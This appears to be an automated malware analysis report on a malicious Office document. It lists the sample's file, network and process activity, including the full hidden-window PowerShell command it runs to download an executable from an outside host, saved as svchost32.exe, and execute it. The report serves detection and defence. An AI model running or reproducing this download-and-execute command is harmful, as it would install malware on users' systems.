Technical Information
Malicious functions
Downloads and executes
- https://fbcom.review/f/8.exe as %temp%\svchost32.exe
Modifies file system
Creates the following files
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.word\~wrf{490d11ed-17d4-469a-9aea-adde689a9a3c}.tmp
Network activity
UDP
- DNS ASK fb###.review
Miscellaneous
Executes the following
- '%ProgramFiles%\microsoft office\office14\excel.exe' -Embedding
- '%ProgramFiles%\microsoft office\office14\excelcnv.exe' -Embedding
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' (New-Object System.Net.WebClient).DownloadFile('https://fbcom.review/f/8.exe','%TEMP%\svchost32.exe');Start-Process '%TEMP%\svchost32.exe'' (with hidden window)
